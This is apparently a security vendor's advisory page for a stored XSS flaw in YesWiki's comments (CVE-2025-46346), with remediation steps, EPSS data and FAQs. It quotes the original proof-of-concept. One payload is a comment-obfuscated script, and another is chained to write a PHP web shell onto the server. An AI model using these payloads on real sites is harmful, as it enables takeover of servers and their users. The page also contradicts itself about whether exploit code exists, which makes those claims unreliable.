How severe is GHSA-59x8-cvxh-3mm4?

No CVSS score has been assigned to GHSA-59x8-cvxh-3mm4 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-59x8-cvxh-3mm4?

GHSA-59x8-cvxh-3mm4 affects the following packages: yeswiki/yeswiki (Packagist). Ecosystems affected: Packagist.

How do I fix GHSA-59x8-cvxh-3mm4?

Update yeswiki/yeswiki to 4.5.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-59x8-cvxh-3mm4 is resolved across your whole dependency graph.

How do I detect GHSA-59x8-cvxh-3mm4 in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yeswiki/yeswiki, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate GHSA-59x8-cvxh-3mm4 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-59x8-cvxh-3mm4?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-59x8-cvxh-3mm4 can be triaged on real exposure rather than presence alone.

Is GHSA-59x8-cvxh-3mm4 actively exploited in the wild?

No public exploit code has been indexed for GHSA-59x8-cvxh-3mm4 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-59x8-cvxh-3mm4?

GHSA-59x8-cvxh-3mm4 has an EPSS (Exploit Prediction Scoring System) score of 0.3%, placing it in the 26th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-59x8-cvxh-3mm4?

GHSA-59x8-cvxh-3mm4 is classified as Cross-site Scripting (XSS) (CWE-79). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was GHSA-59x8-cvxh-3mm4 published, and has it been updated?

GHSA-59x8-cvxh-3mm4 was published on April 29, 2025 and was last updated on September 10, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

Not in CISA KEV

GHSA-59x8-cvxh-3mm4 — yeswiki/yeswiki

Fix: YesWiki/yeswiki@0d4efc8

GHSA-59x8-cvxh-3mm4 is a Cross-site Scripting (XSS) vulnerability in yeswiki/yeswiki. A fix is available for yeswiki/yeswiki — see the affected versions and patch details below.

YesWiki Stored XSS Vulnerability in Comments

Also known asCVE-2025-46346

Published

Apr 29, 2025

Updated

Sep 10, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-59x8-cvxh-3mm4.

EPSS Exploitation Probability

via FIRST.org ↗

0.3%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs26th percentile — riskier than 26% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

🐘yeswiki/yeswiki

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A stored cross-site scripting (XSS) vulnerability was discovered in the application’s comments feature. This issue allows a malicious actor to inject JavaScript payloads that are stored and later executed in the browser of any user viewing the affected comment.

The XSS occurs because the application fails to properly sanitize or encode user input submitted to the comments. Notably, the application sanitizes or does not allow execution of <script> tags, but does not account for payloads obfuscated using JavaScript block comments like /* JavaScriptPayload */.

PoC

Navigate to a site and page that allows comments and place this in the comments section and submit it:

/*<script>alert('pizzapower')</script>*/

Upon submitting to the page, it will run. And then upon every page visit, it will run.

Impact

An attacker can run arbitrary JS in the victim's browser (any user that visits the page with the comments). This can be chained to do many malicious actions, such as to achieve RCE when chained with another vulnerability, e.g.:

/*<script>fetch("/?api/templates/custom-presets/anhtyjik.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif"});</script>*/

Then you can visit http://localhost:8085/custom/css-presets/anhtyjik.php?cmd=id and see the output of the ID command.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`yeswiki/yeswiki`	all versions	4.5.4`composer require yeswiki/yeswiki:^4.5.4`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yeswiki/yeswiki, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update yeswiki/yeswiki to 4.5.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-59x8-cvxh-3mm4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-59x8-cvxh-3mm4 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-59x8-cvxh-3mm4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A stored cross-site scripting (XSS) vulnerability was discovered in the application’s comments feature. This issue allows a malicious actor to inject JavaScript payloads that are stored and later executed in the browser of any user viewing the affected comment. The XSS occurs because the application fails to properly sanitize or encode user input submitted to the comments. Notably, the application sanitizes or does not allow execution of `<script>` tags, but does not account for payloads obfuscated using JavaScript block comments like `/* JavaScriptPayload */`. ### PoC Navigate

O3 Security · Impact-Aware SCA

Is GHSA-59x8-cvxh-3mm4 in your dependencies?

O3 Security finds GHSA-59x8-cvxh-3mm4 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

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